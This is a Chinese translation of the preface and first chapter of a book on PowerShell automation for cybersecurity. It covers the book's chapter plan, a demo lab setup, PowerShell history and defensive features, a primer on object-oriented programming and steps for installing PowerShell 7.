面向网络安全的-Powershell-自动化和脚本编程-全-

面向网络安全的 Powershell 自动化和脚本编程(全)

原文:annas-archive.org/md5/497778742979feec5fa142fe450d7d89

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

PowerShell 无处不在——它在每个现代 Windows 操作系统上都已预装。从一方面来看,这对管理员来说是非常好的,因为这使得他们能够开箱即用地管理系统;但另一方面,攻击者也可以利用 PowerShell 执行他们的恶意载荷。

PowerShell 本身提供了多种功能,不仅可以帮助你提高环境的安全性,还能帮助你完成下一次红队任务。在本书中,我们将从攻击者和防御者、红队和蓝队的角度,双方面看待 PowerShell 在网络安全中的作用。通过阅读本书,你将深入了解 PowerShell 的安全能力,并学会如何使用它们。

你将了解到,PowerShell 并不像一些人所认为的那样“危险”;相反,你将学习如何配置和利用它来加强你环境的安全性。

本书提供了使用 PowerShell 和相关缓解措施来检测攻击并加强环境安全性的指导。我们将首先回顾 PowerShell 的基础知识,并学习脚本基础。你将获得关于 PowerShell 安全相关事件日志的独特见解,这些见解在其他地方找不到,并学习如何配置 PowerShell 远程访问。

我们将深入探讨系统和 API 访问,探索利用和劫持技术,以及攻击者如何利用 Active Directory 和 Azure AD/Entra ID,并结合这些技术背后丰富而详细的知识。红蓝队的教程都提供了对于 PowerShell 从业者日常使用非常有价值的代码片段。

另一个非常重要的话题是帮助你保护环境的缓解措施。我们将深入探讨适足管理JEA),这是一项不太为人所知的技术,我们将提供详细的解释、示例,甚至简化部署此技术的方法。我们将探索语言模式,并学习应用控制和代码签名如何影响 PowerShell。我们还将了解反恶意软件扫描接口AMSI),并学习它为何有用以及攻击者如何尝试绕过它。

那么,你还在等什么呢?准备好将 PowerShell 转变为你最强大的盟友,赋能红蓝队员在与网络威胁的无休止战斗中携手作战吧。

本书适合的人群

本书面向希望通过 PowerShell 增强安全操作的安全专家、渗透测试员、系统管理员、红蓝队员以及网络安全爱好者。无论你是经验丰富还是新手,本书都提供了宝贵的见解和实用技巧,帮助你利用 PowerShell 完成各种安全任务,包括研究和开发漏洞、绕过安全防护,了解攻击者如何行动,从而减轻威胁并更好地保护你的环境。

推荐具备 PowerShell 和网络安全基础知识,熟悉 Active Directory 等概念以及其他编程语言,如 C 和汇编语言,将对学习有所帮助。

本书内容概述

第一章PowerShell 入门,介绍了 PowerShell,探讨了它的历史并强调其在网络安全中的重要性。你将了解面向对象编程原则、执行策略和帮助系统等关键概念,以及每个 PowerShell 版本中引入的安全功能。

第二章PowerShell 脚本基础,涵盖了 PowerShell 脚本的基础知识,包括变量、数据类型、操作符、控制结构的条件和循环,以及命名约定。本章还探讨了 PowerShell 配置文件、PSDrives,以及如何通过 cmdlets、函数、模块和别名创建可重用的代码。

第三章探索 PowerShell 远程管理技术与 PowerShell 远程执行,深入探讨了 PowerShell 的一些远程管理技术,如 WinRM、WMI、CIM、OMI、SSH 远程执行,当然还有 PowerShell 远程执行。你将学习如何配置 PowerShell 远程执行以建立远程连接,创建自定义端点,并远程执行 PowerShell 命令。

第四章检测 – 审计与监控,探讨了日志记录在 PowerShell 环境中进行有效检测和监控的重要性。你将学习基本的日志文件、日志功能,如模块和脚本块日志记录、受保护事件日志记录、PowerShell 转录,以及如何使用 PowerShell 分析事件日志。

第五章PowerShell 强大功能 - 系统与 API 访问,探讨了 PowerShell 的系统和 API 访问功能。你将学习如何操作 Windows 注册表,使用 Windows API,利用 .NET 类进行高级技巧,以及如何利用 WMI 的强大功能。本章还介绍了如何在不直接调用 powershell.exe 的情况下执行 PowerShell。

第六章Active Directory – 攻击与缓解,探讨了 AD 安全性,包括身份验证协议、枚举、特权账户、密码喷洒、访问权限、凭证盗窃风险以及缓解策略。我们还将研究 Microsoft 安全基准和安全合规工具包。

第七章云端黑客技术—利用 Azure Active Directory/Entra ID,深入分析了 Azure AD/Entra ID,探索其认证机制、特权账户、PowerShell 访问权限以及各种攻击向量。你将了解如匿名枚举、密码喷洒和凭证窃取等技术,并提出相应的防范策略。

第八章红队任务与食谱,介绍了攻击的各个阶段和常见的 PowerShell 红队工具。接着,本章提供了一个红队食谱,包含按 MITRE ATT&CK 领域分类的多种方案,如侦察、执行、持久性、防御规避、凭证访问、发现、横向移动、指挥与控制、数据外泄和影响。

第九章蓝队任务与食谱,聚焦于蓝队任务,并提供了一份实用的 PowerShell 代码片段食谱。它首先介绍了“保护、检测、响应”的方法,并强调了常见的 PowerShell 蓝队工具。该食谱提供了各种蓝队方案,如检查已安装和缺失的更新、监控和防止绕过、隔离被攻击的系统,以及分析和管理进程、服务和网络连接。

第十章语言模式与最低权限管理(JEA),首先探讨了 PowerShell 中的语言模式及其对脚本执行的影响。接着,重点介绍了 JEA,允许管理员通过基于角色的访问控制将特定任务委派给非管理员用户。本章详细解释了 JEA 的工作原理,包括角色能力和会话配置文件、日志记录及最佳实践,并提供了高效部署 JEA 的指导。

第十一章AppLocker、应用控制与代码签名,深入探讨了应用控制与代码签名,重点介绍了如何防止未授权脚本执行、规划应用控制以及部署 Microsoft AppLocker 和 Windows Defender 应用控制等机制。还探讨了基于虚拟化的安全性以及在强制应用控制时对 PowerShell 的影响。

第十二章探索反恶意软件扫描接口(AMSI),讲解了 AMSI,探索其功能和目的。通过实际示例,展示了 AMSI 在检测恶意活动中的重要性。本章还讨论了对手用来绕过和禁用 AMSI 的各种技术,包括混淆和 Base64 编码。

第十三章其他内容?—进一步的缓解措施和资源,概述了增强安全性的额外 PowerShell 相关缓解措施和资源,如安全脚本编写、所需状态配置、系统和环境加固、以及终端检测与响应。

为了最大限度地发挥本书的作用

对于大多数章节,你需要 PowerShell 7.3 及以上版本,并安装 Visual Studio Code 以便检查和编辑代码。

根据你跟随的章节,我们还将讨论其他技术,如 Windows PowerShell 5.1、Visual Studio、C/C++/C#、Visual Basic、汇编语言、Ghidra、Wireshark 和 Microsoft Excel。

书中涉及的软件/硬件 操作系统要求
PowerShell 7.3 及以上 Windows 10 及以上
Windows PowerShell 5.1 Windows Server 2019 及以上版本
Visual Studio Code

尽管本书中的大多数示例可能只需要一台测试机器,但强烈建议设置一个演示环境,以提升你在本书某些部分的体验。

我使用虚拟机来搭建我的环境,建议你也这样做,以便跟上进度。Hyper-V 是一款免费的虚拟化管理程序,你可以用它来设置你的机器。

对于我的演示环境,我设置了以下机器,在本书中将多次提及:

  • PSSec-PC01**: **172.29.0.12, Windows 10 企业版,22H2,加入域 PSSec.local

  • PSSec-PC02**: **172.29.0.13, Windows 10 企业版,22H2,加入域 PSSec.local

  • PSSec-Server**: **172.29.0.20, Windows Server 2019 数据中心版,加入域 PSSec.local

  • DC01**: **172.29.0.10, Windows Server 2019 数据中心版,托管域 PSSec.local

    • 已安装相关角色:活动目录证书、活动目录域服务、DNS 服务器和组策略管理
  • 针对 第七章Azure 演示环境PSSec-Demo.onmicrosoft.com

  • 可选:Linux 和 macOS 跟随 第三章 配置 PowerShell 远程(SSH)连接

以下图示展示了本书中使用的相关设置:

图 P.1 – 本书中使用的设置

此设置仅配置在测试环境中,因此不应在生产环境中使用。

如果你使用的是本书的数字版,建议你自己输入代码或访问本书的 GitHub 仓库中的代码(链接将在下一节提供)。这样可以帮助你避免因复制和粘贴代码而产生的潜在错误。

下载示例代码文件

你可以从 GitHub 下载本书的示例代码文件,地址为 github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity。如果代码有更新,它将在 GitHub 仓库中同步更新。

我们还提供来自我们丰富书籍和视频目录的其他代码包,详见 github.com/PacktPublishing/。快来查看吧!

每章中提到的所有链接将保存在我们的 GitHub 仓库中。由于链接经常会有所变动,GitHub 仓库中的链接将保持最新(当然是按照更新周期),以防打印版网址出现错误。

使用的约定

本书中使用了若干文本约定。

文本中的代码:表示文本中的代码词汇、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 用户名。例如:“导出一个或多个别名,使用 Export-Alias — 可以作为 .csv 文件或脚本导出。”

代码块如下所示:

if (<condition>)
{
    <action>
}

当我们希望特别引起你注意某一部分代码块时,相关的行或项会以粗体显示:

if ($color -eq "blue") {
    Write-Host "The color is blue!"
}
elseif ($color -eq "green"){
    Write-Host "The color is green!"
}

任何命令行输入或输出如下所示:

> ("Hello World!").Length
12

粗体:表示一个新术语、重要单词或你在屏幕上看到的单词。例如,菜单或对话框中的单词通常显示为粗体。以下是一个例子:“配置启用脚本执行设置,并选择允许本地脚本和远程签名的脚本选项。”

提示或重要注意事项

显示方式如下。

联系我们

我们始终欢迎读者的反馈。

一般反馈:如果你对本书的任何方面有疑问,请通过电子邮件联系我们 customercare@packtpub.com,并在邮件主题中注明书名。你也可以通过 Twitter(@miriamxyra)或 Mastodon(@mw@infosec.exchange)与作者联系。

勘误:尽管我们已尽最大努力确保内容的准确性,但错误仍然可能发生。如果你在本书中发现错误,我们将非常感激你向我们报告。请访问 www.packtpub.com/support/errata 并填写表单。

盗版:如果你在互联网上遇到任何非法的本书复制品,无论是以何种形式,我们将非常感激你提供该位置地址或网站名称。请通过 copyright@packt.com 与我们联系,并附上相关材料的链接。

如果你有兴趣成为作者:如果你对某一领域有专业知识,并且有意写作或为书籍贡献内容,请访问 authors.packtpub.com

分享你的想法

阅读完《PowerShell 自动化与脚本编写在网络安全中的应用》后,我们非常希望听到您的反馈!请点击这里直接进入亚马逊的本书评论页面,分享您的想法

您的评价对我们和技术社区非常重要,将帮助我们确保提供优质内容。

.

下载本书的免费 PDF 副本

感谢购买本书!

您是否喜欢在旅途中阅读,但又无法随身携带纸质书籍?

您的电子书购买是否与您选择的设备不兼容?

别担心,现在每本 Packt 书籍都可以免费获得该书的无 DRM PDF 版本。

随时随地、在任何设备上阅读。直接将您最喜欢的技术书籍中的代码搜索、复制并粘贴到您的应用程序中。

福利不仅仅于此,您还可以获得独家折扣、新闻通讯和每日发送到您邮箱的精彩免费内容。

按照这些简单步骤即可获得福利:

  1. 扫描二维码或访问以下链接

packt.link/free-ebook/9781800566378

  1. 提交您的购买证明

  2. 就这些!我们会直接将您的免费 PDF 和其他福利发送到您的邮箱

第一部分:PowerShell 基础

在这一部分,我们将重新审视开始使用 PowerShell 进行网络安全所需的基础知识。我们将从回顾基础开始,包括面向对象编程原则、Windows PowerShell 和 PowerShell Core 之间的区别、PowerShell 的基本概念以及每个 PowerShell 版本中引入的安全功能。

接下来,我们将探讨 PowerShell 脚本的基本知识。在本部分结束时,您将具备编写 PowerShell 脚本的技能,能够有效利用各种控制结构、变量和运算符,创建可重复使用的代码。

您还将探索如何配置和利用远程管理技术,特别是 PowerShell 远程。您将深入了解关于 PowerShell 远程和身份验证的安全性知识和最佳实践。

最后,我们将探讨 PowerShell 相关的事件日志:您将了解哪些 Windows 事件日志和事件在 PowerShell 网络安全中最为重要。我们将研究如何配置脚本块日志、模块日志和转录文件,并高效地分析事件日志。

本部分包含以下章节:

  • 第一章开始使用 PowerShell

  • 第二章PowerShell 脚本基础

  • 第三章探索 PowerShell 远程管理技术和 PowerShell 远程

  • 第四章检测—审计和监控

第一章:PowerShell 入门

本简介章节将介绍使用 PowerShell 的基本概念。它作为网络安全领域 PowerShell 的基础入门,并且作为 面向对象编程OOP)的介绍,以及如何开始使用 PowerShell。

本章是 第二章 的补充,PowerShell 脚本编写基础,我们将在该章深入探讨脚本部分。这两章应该能帮助你入门,并作为你在后续章节工作时的参考。

你将学习 PowerShell 的基本知识,它的历史,以及为什么在过去几年中,它在网络安全领域变得越来越重要。

你将概述编辑器,并学习如何通过现有功能自助帮助自己。在本章中,你将深入了解以下主题:

  • 什么是 PowerShell?

  • PowerShell 的历史

  • 为什么 PowerShell 对网络安全有用?

  • 面向对象编程(OOP)简介

  • Windows PowerShell 和 PowerShell Core

  • 执行策略

  • 帮助系统

  • PowerShell 版本

  • PowerShell 编辑器

技术要求

为了充分利用本章内容,请确保你拥有以下内容:

  • PowerShell 7.3 及以上版本

  • 安装了 Visual Studio Code

  • 获取 第一章 的 GitHub 仓库访问权限:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter01

什么是 PowerShell?

PowerShell 是一个脚本框架和命令行外壳,基于 .NET 构建。默认情况下,它在 Windows 操作系统OS)上实现。它是基于对象的,这意味着你所处理的所有事物(例如变量、输入等)都有属性和方法。这为使用 PowerShell 提供了很多可能性。

此外,PowerShell 还具有管道功能,允许将输入传递到其他命令以供重用。这将基于命令行的脚本语言的优势与面向对象语言结合在一起。而且,它还内置了帮助系统,让你在使用控制台时可以自助获取帮助。

PowerShell 不仅仅运行在 Windows 操作系统上。自 2016 年发布 PowerShell Core 后,它可以在任何操作系统上运行,包括 Linux 和 macOS 设备。

它帮助安全专业人员在非常短的时间内完成大量工作。不仅蓝队人员觉得它有用,红队人员也同样如此。就像每个提供大量功能并使你以更高效的方式完成日常工作的特性一样,PowerShell 既可以用于正当目的,也可以用于不当用途。它对于专业人员来说是一个强大的工具,但像往常一样,安全专业人员需要做好自己的工作,保护自己的环境,以免现有工具和机器被对手滥用。

但首先,让我们看看 PowerShell 是如何诞生的,以及它多年来是如何发展的。

PowerShell 的历史

在 PowerShell 创建之前,已经有了 命令行界面CLIs),每个操作系统都自带命令行工具来管理系统:COMMAND.COM 是 MS DOS 和 Windows 9.x 的默认工具,而 cmd.exe 是 Windows NT 系列的默认工具。后者 cmd.exe 仍然集成在现代 Windows 操作系统中,例如 Windows 10。

这些命令行工具不仅可以用来执行命令行中的命令,还可以使用批处理文件语法编写脚本来自动化任务。

由于 图形用户界面GUI)并未提供所有功能,无法通过命令行自动化所有任务。此外,语言本身存在不一致性,因此脚本编写不像预期的那样简便。

1998 年,微软在 Windows 98 中发布了 Windows Script Hostcscript.exe),以克服以前命令行界面的局限性,并改善脚本编写体验。通过 cscript.exe,现在可以与 组件对象模型COM)的 API 进行交互,这使得该接口变得非常强大;如此强大,以至于不仅系统管理员利用这一新功能,恶意软件作者也开始使用它。这很快使得 cscript.exe 获得了作为操作系统脆弱向量的声誉。

此外,Windows Script Host 的文档不容易获取,而且除了 cscript.exe 之外,还开发了更多用于不同用途的命令行工具,如 netshwmic

1999 年,Jeffrey Snover,一位具有 UNIX 背景的工程师,开始为微软工作。Snover 是命令行和自动化的忠实粉丝,因此他的初衷是将 UNIX 工具应用于微软系统,支持微软的 Windows UNIX 服务SFU)。

然而,由于 Windows 和基于 UNIX 的系统之间存在巨大的架构差异,他很快意识到,在 Windows 上使 UNIX 工具可用,并没有为 Windows 系统带来任何价值。

虽然 UNIX 系统依赖于可以轻松使用如awksedgrep等工具进行操作和处理的 ASCII 文件,但 Windows 系统则是基于 API 的,依靠结构化数据。

因此,他决定自己做得更好,并在 2002 年开始开发一种新的命令行工具——Monad(也称为 Microsoft Shell/MSH)。

现在,Monad 不仅可以将结构化数据(对象)传递到管道中,而不是简单的文本,还可以在多个设备上远程运行脚本。此外,管理员使用 Monad 进行管理变得更容易,因为许多默认任务在此框架内被简化了。

2006 年 4 月 25 日,微软宣布 Monad 被更名为 PowerShell。同年,PowerShell 的第一个版本发布,不久之后(2007 年 1 月),PowerShell 也发布了 Windows Vista 版本。

2009 年,PowerShell 2.0 作为 Windows 7 和 Windows Server 2008 R2 的一部分发布,并且默认集成到操作系统中。

多年来,PowerShell 得到了进一步的发展,并且在此期间发布了许多新版本,包含了新的功能和改进。

然后,在 2016 年,微软宣布将 PowerShell 开源(MIT 许可),并且将支持跨平台使用。

PowerShell 5.1 是最后一个仅限 Windows 的 PowerShell 版本,它于 2016 年发布。它仍然会随着 Windows 系统一起分发,但不再进行开发。

PowerShell 团队当时正在支持 Nano Server。因此,存在一个完整版本的 PowerShell 来支持 Windows 服务器和客户端。Nano Server 的 .NET 版本(称为 .NET Core)被大幅删减,因此团队不得不减少功能并削减内容,使 PowerShell 能够与 .NET Core 一起工作。所以,从技术上讲,PowerShell 5.1 为 Nano Server 是第一个 PowerShell Core 版本。

PowerShell Core 的第一个正式版本是 6.0,它也提供了对跨平台(如 macOS 和 Linux)的支持。

为什么 PowerShell 对网络安全有用?

PowerShell 默认在大多数现代 Windows 系统上运行。它帮助管理员自动化日常工作流程。由于 PowerShell 在所有系统上都可用,它也使得攻击者更容易利用这个脚本语言达到他们的目的——例如,如果攻击者通过 凭证 盗窃 攻击获取了系统的访问权限。

对于攻击者来说,这听起来太棒了:一个预安装的脚本框架,提供对 cmdlet 和底层 .NET 框架的直接访问。自动化可以让你做很多事情——不仅仅是出于好目的。

PowerShell 是否危险,应该禁用吗?

不!在与 CISO 交谈时,我经常听到这个问题。随着 PowerShell 越来越多地出现在红队手中,一些人开始担心这个强大的脚本框架的能力。

但和往常一样,这不是黑与白的简单问题,组织应更多地考虑如何加固他们的系统、保护他们的身份,如何实现更好的检测,并且如何以有利于工作负载和流程的方式利用 PowerShell——而不是担心 PowerShell 本身。

最终,当你设置服务器时,你不仅仅是安装它并将其连接到互联网。PowerShell 也一样:你不能仅仅启用 PowerShell 远程使用,让任何人都能远程连接到你的服务器,而不考虑他们的角色。

PowerShell 只是一个脚本语言,类似于预安装的 cscriptbatch。从技术上讲,它提供的潜在影响与 Java.NET 相似。

如果我们将其与 Linux 或 macOS 相比较,说 PowerShell 危险就像说 Bash 或 zsh 危险一样。

一位在事件响应领域工作多年的朋友曾告诉我,攻击者将 C# 代码文件放置到目标机器上,并调用 csc.exe(.NET 框架的一部分)直接在机器上编译这些文件。这是一个非常有效的方式,能够利用预装的软件在系统上安装攻击者的代码,而不需要借助 PowerShell。

换句话说,危险或恶意的并不是语言本身;对手仍然需要身份或授权才能执行操作,而这些可以由负责环境安全的安全专家或管理员加以限制。

坦白说,我认识或与许多红队人员交谈过,他们现在开始越来越多地转向其他语言,如 C# 或 C++,而不是 PowerShell,尤其是在攻击中想要保持不被察觉时。

如果实施了正确的安全措施和检测,在一个配置良好并且保护完善的环境中,使用 PowerShell 发起攻击几乎不可能不被察觉。一旦您遵循了安全最佳实践,PowerShell 将帮助您保持环境的安全,并帮助您追踪任何入侵者。

此外,您的环境安全在很大程度上取决于您的全局凭证和访问管理:在攻击者能够利用 PowerShell 之前,他们首先需要访问系统。我们将在 第六章 中仔细探讨如何在凭证方面保护您的环境,Active Directory – 攻击与缓解

PowerShell 如何支持我的蓝队?

PowerShell 不仅使您的 IT 专业人员能够更高效地工作并更快地完成任务,还为您的安全团队提供了极好的选择。

PowerShell 提供了许多内置的安全防护措施,您将在本书中进一步了解这些内容:

  • 自动化与合规性:其中一个主要的好处是,您可以自动化重复且枯燥的任务。您的管理员不仅能从自动化任务中受益,而且您的 安全运营中心(SOC) 还可以在特定事件触发时自动执行响应操作。

组织遭到入侵的主要原因之一是缺少安全更新。保持所有系统更新并不容易——即使是像 Windows Server Update Services** (WSUS**) 这样的更新管理系统也很难完全保证。PowerShell 可以帮助构建一个机制,定期检查是否缺少更新,从而保持您的环境安全。

审计和执行合规性可以通过使用 所需状态配置(DSC) 来轻松实现。

自动化安全检查以审核 Active Directory 或服务器安全性,并强制执行您的安全基线。DSC 使您能够随时控制服务器的配置。您可以将您的机器配置为每 15 分钟重置其配置到您指定的设置。

此外,如果你将 DSC 集成到你的事件响应计划中,重新构建可能被入侵的服务器将变得非常容易。

  • 控制谁可以做什么以及在哪里做:通过配置PowerShell 远程管理/**WinRM,你可以指定被允许登录到哪个设备或服务器。当然,这对凭证盗窃**无济于事(因为这不是 PowerShell 的话题),但它有助于细化定义哪个身份可以做什么。此外,它还提供了远程连接的出色审计能力。

受限语言模式允许你限制会话中可以使用的 PowerShell 元素。这已经可以帮助防止某些攻击。

使用足够的管理JEA),你甚至可以限制哪些角色/身份被允许在特定机器上运行哪些命令。你还可以限制命令的参数。

  • 了解你的环境中发生了什么:PowerShell 提供了一个广泛的日志框架,拥有许多额外的日志选项,例如创建记录和脚本块日志记录。

如果在 PowerShell 中配置了适当的基础设施,几乎所有的操作都可以被追踪。你甚至可以使用安全编排、自动化和响应SOAR)方法自动化你的响应行动。

使用 PowerShell,你可以快速提取并搜索多个服务器的事件日志,远程连接以进行分析。

在安全漏洞发生的情况下,PowerShell 还可以帮助你收集和调查法医证据,并自动化调查过程。有许多优秀的模块,如PowerForensics,可以用于你的法医操作和事后补救。

  • 限制哪些脚本可以运行:默认情况下,PowerShell 提供了一个名为执行策略的功能。虽然它不是一种安全控制,但它可以防止用户不小心运行脚本。

对你的代码进行签名可以帮助你验证执行的脚本是否被认为是合法的:如果只允许签名的脚本运行,这是防止用户直接运行从互联网下载的脚本的绝佳方式。

AppLocker代码签名结合使用,可以帮助你控制在组织中哪些脚本可以运行。

然而,前述解决方案并未限制交互式代码的执行。

  • 检测并阻止恶意代码执行反恶意软件扫描接口AMSI)提供了一种可能性,允许你的代码通过当前机器上存在的反恶意软件解决方案进行检查。这有助于检测恶意代码,并且是防止无文件恶意软件攻击(Living off the Land)的绝佳保障——这种攻击不需要在机器上存储文件,而是直接在内存中运行代码。

它直接集成在 PowerShell 中,可以评估脚本、交互式使用和动态代码评估。

这些只是 PowerShell 如何支持蓝队的一些示例,但它应该已经为你提供了一个概述,展示了蓝队员如何从使用和审计 PowerShell 中受益。

阅读这篇由微软 PowerShell 团队发布的精彩博客文章PowerShell 蓝队也是值得的,它提供了关于 PowerShell 如何支持蓝队员的建议:devblogs.microsoft.com/powershell/powershell-the-blue-team/

在你翻阅本书的过程中,你将学习到更多关于可能的攻击、缓解措施和绕过方法的内容。

但首先,让我们开始复习 PowerShell 基础知识。享受吧!

开始使用 PowerShell

在我们直接进入网络安全脚本编写以及疯狂的红蓝队任务之前,了解一些 PowerShell 的基础知识是非常重要的。以下是一些有助于你入门的复习内容。

面向对象编程简介

PowerShell 是一种面向对象的语言。面向对象编程让开发人员能够将软件开发看作是与现实世界中的对象或实体进行工作。面向对象编程的主要优点之一是它可扩展、灵活,并且总体上能让你高效地复用代码。

面向对象编程中的一些基本术语包括对象属性方法。如果我们看看面向对象编程的四个主要原则——封装抽象继承多态——如果你还没有面向对象编程经验,可能会感到有些不知所措。

但别担心,它并不像听起来那么难,面向对象编程会让你的生活变得更轻松!

为了更好地理解这些概念和原理,我们以 Alice 和 Bob 为例。他们都是人类,因此共享相同的人类。两者都是我们示例中的工作实体,因此也是我们的对象

是属性和方法的集合,类似于对象的蓝图。Alice 和 Bob 都是人类,分享许多属性方法。两者都有一定的每日能量,可以感到不同程度的放松,并且都需要工作来赚取金钱。

两者都需要工作,并且喜欢喝咖啡。晚上,两者都需要休息以恢复精力:

图 1.1 – Alice,CISO

图 1.1 – Alice,CISO

Alice 担任首席信息安全官CISO),并且经常在会议之间和晚上与她的猫咪 Mr. Meow 一起玩耍,这帮助她放松。

图 1.2 – Bob,安全顾问

图 1.2 – Bob,安全顾问

相比之下,Bob 是一名安全顾问。尽管他也是人类,但他的方法与 Alice 不同:Bob 没有猫,但他在闲暇时喜欢画画,这使他感到放松并恢复精力。

让我们通过 Alice 和 Bob 来探索面向对象编程的四个主要原则。

封装

封装的实现方式是,如果每个对象将其状态保持为类内的私有,其他对象不能直接访问它,必须通过调用方法来改变它的状态。

比如,爱丽丝的状态包括私有的EnergyLevelRelaxationStatusMoney属性。她还有一个私有的SighHappily()方法。她可以在任何时候调用这个方法;其他类无法影响爱丽丝何时开心地叹气。当爱丽丝和她的猫咪“喵先生”玩耍时,SighHappily()方法会默认被调用——爱丽丝真的很喜欢这个活动。

其他类所能做的,是调用公共的Work()DrinkCoffee()Sleep()PlayWithCat()函数。这些函数能够改变内部状态,甚至在爱丽丝和她的猫咪“喵先生”玩耍时,调用私有的SighHappily()方法:

图 1.3 – 近距离观察公共方法和私有方法

图 1.3 – 近距离观察公共方法和私有方法

总结来说,如果你想要改变一个私有属性的值,你始终需要调用与私有状态相关联的公共方法。就像现实生活中,没有魔法药方——除了咖啡——可以立即消除你的疲劳。即使喝了咖啡,你仍然需要做出行动去喝它。私有状态和公共方法之间的绑定关系被称为封装

抽象

抽象可以看作是封装的自然扩展。通常,代码库会变得非常庞大,这时你可能会失去对代码的整体把握。应用抽象意味着每个对象应仅暴露其高级方法,隐藏不必要的细节,避免其他对象的干扰。

例如,我们在human类中定义了Work()方法。

根据你父母的技术理解能力,他们可能能理解你日常工作中的内容。然而,我的父母对我说的一个字也不懂,他们只知道我在做与计算机相关的工作。所以,如果我和父母通话,我不会告诉他们每一个细节,也不会让他们无聊死。我只是告诉他们,我已经完成工作。

写面向对象代码时,也应遵循类似的原则。虽然Work()方法背后有许多不同的操作,但它被抽象化了,只有相关的数据会被显示出来。

另一个例子是办公室里的电梯。当你按下按钮去到不同的楼层时,表面下发生了某些事情。但电梯用户只能看到按钮和显示楼层的屏幕。这一原则被称为抽象,有助于保持任务的概览。

继承

如果你需要非常相似的类或对象,你可能不希望重复现有的代码。这样会使事情变得更加复杂、工作量增加,并且更容易产生 bug——例如,如果你必须为所有不同的实例更改代码,但却忘记了某一个。

所以,我们的 Alice 和 Bob 对象非常相似,共享一个共同的逻辑,但它们并不完全相同。它们都是人类,但拥有不同的职业,要求具备不同的技能和任务。

所有 CISO 和所有安全顾问都是人类,因此这两个角色都继承human类的所有属性和方法。

类似于SecurityConsultant类,CISO类继承了human类的所有属性和方法。然而,虽然CISO类还引入了StrategicPlanningSkillset属性和CalculateRisk()方法,但它们对于SecurityConsultant类并不必要。

SecurityConsultant类定义了自己的TechnicalAuditingSkillset属性以及AnalyzeSystem()TalkToCustomer()方法。

Alice 继承了human类中定义的所有技能,而在CISO类中,这构建了一个层次结构human现在是CISO类的父类,而CISO类是 Alice 的父类—在这个案例中,Alice 是子对象

此外,Bob 继承了human类中定义的所有属性和方法,但与 Alice 相比,他继承了SecurityConsultant类中的所有内容:

图 1.4 – 继承:父类和子类以及对象

图 1.4 – 继承:父类和子类以及对象

另外,亲爱的安全顾问和 CISO 们,我知道你们的职业要求远多于此示例所显示的技能,而且你们的角色比这个示例所展示的要挑战得多。我尽量将其抽象化,以保持简单。

看看 Alice 和 Bob,Alice 喜欢和她的猫 Mr. Meow 一起度过时光,所以她有自己独特的PlayWithCat()SighHappily()方法。Bob 没有猫,但他喜欢画画,因此他有独特的Paint()方法。

使用继承,我们只需要添加必要的部分来实现所需的更改,同时使用父类中的现有逻辑。

多态性

既然我们已经了解了继承的概念,那么多态性也就不远了。多态性意味着,尽管你可以从不同的类创建不同的对象,但所有类和对象都可以像它们的父类一样使用。

如果我们看一下 Alice 和 Bob,两者都是人类。这意味着我们可以依赖于两者都支持EnergyLevelRelaxationStatusMoney属性,以及Work()DrinkCoffee()Sleep()方法。

此外,他们可以支持其他独特的属性和方法,但始终支持与父类相同的内容,以避免混淆。

请注意,这个概述仅应作为一个高层次的介绍;如果你想深入了解面向对象编程(OOP)的概念,你可能需要查阅其他专门讲解 OOP 的文献,比如《学习面向对象编程》,该书由 Gaston C. Hillar 编写,并由 Packt 出版。

现在你已经理解了面向对象编程(OOP)的基本概念,让我们回到 PowerShell 的使用上。

Windows PowerShell

默认情况下,Windows PowerShell 5.1 会安装在所有较新的系统上,从 Windows 10 开始。你可以通过在开始菜单中搜索PowerShell来打开它,也可以通过按 Windows 键 + R,然后输入 powershellpowershell.exe 来启动它。

在这个控制台中,你可以运行命令、脚本或 cmdlet:

图 1.5 – Windows PowerShell 版本 5.1 命令行界面

图 1.5 – Windows PowerShell 版本 5.1 命令行界面

在 Windows 10 设备上,Windows PowerShell v5.1 的默认位置如下:

  • Windows PowerShell: %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe

  • Windows PowerShell (x86): %SystemRoot%\syswow64\WindowsPowerShell\v1.0\powershell.exe

为什么路径中会有 v1.0?这是否意味着我在运行旧版本?

由于本书中也会更详细地讲解 PowerShell 版本,你可能会想:天啊,我听说旧版本没有提供所有必要的安全功能,比如日志记录等!我是不是 处于风险之中?

不是的,实际上即便路径中包含 v1,新版本仍然会被安装到这个路径中。最初计划为每个版本创建一个新的文件夹,并使用正确的版本名称,但后来微软决定不这样做,以避免引发破坏性更改。

你可能也注意到了 .ps1 脚本扩展名。这里的原因是相同的:最初也计划通过脚本扩展名来区分每个版本,但出于向后兼容的原因,PowerShell v2 的逻辑并未实现这一点。

但由于 Windows PowerShell 将不再进一步开发,因此安装并使用最新的 PowerShell Core 二进制文件是合理的选择。

PowerShell Core

在较新的系统上,Windows PowerShell 版本 5.1 仍然是默认安装的。如果要使用最新的 PowerShell Core 版本,你需要手动下载并安装它。在本书写作时,最新的稳定 PowerShell Core 版本是 PowerShell 7.3.6。

要了解如何下载并安装最新的 PowerShell Core 版本,你可以参考官方文档:docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-windows

你可以在这里找到最新的稳定版 PowerShell Core:aka.ms/powershell-release?tag=stable

下载并开始安装。安装向导将打开,并引导你完成安装过程。根据你的需求,你可以指定默认配置项:

图 1.6 – 安装 PowerShell 7

图 1.6 – 安装 PowerShell 7

如果你尚未启用 PowerShell 远程管理,不用担心。你可以稍后配置此选项。向导将会运行并将 PowerShell Core 安装到单独的$env:ProgramFiles\PowerShell\7目录。PowerShell 7 设计为与 PowerShell 5.1 并行运行。

设置完成后,你可以启动新的 PowerShell 控制台并将其固定到任务栏或开始菜单:

图 1.7 – PowerShell 7 CLI 版本

图 1.7 – PowerShell 7 CLI

现在你可以使用最新的 PowerShell Core 版本,替代旧版 Windows PowerShell 5.1。

安装 PowerShell Core 组策略定义

为你的环境中的服务器定义一致的选项时,组策略能够帮助进行配置。

在安装 PowerShell 7 时,组策略模板以及安装脚本会被填充到$PSHOME目录下。

组策略需要两种模板(.admx.adml)来配置基于注册表的设置。

你可以使用Get-ChildItem -Path $PSHOME -Filter *****Core*Policy* 命令查找模板和安装脚本:

图 1.8 – 查找 PowerShell Core 组策略模板和安装脚本

图 1.8 – 查找 PowerShell Core 组策略模板和安装脚本

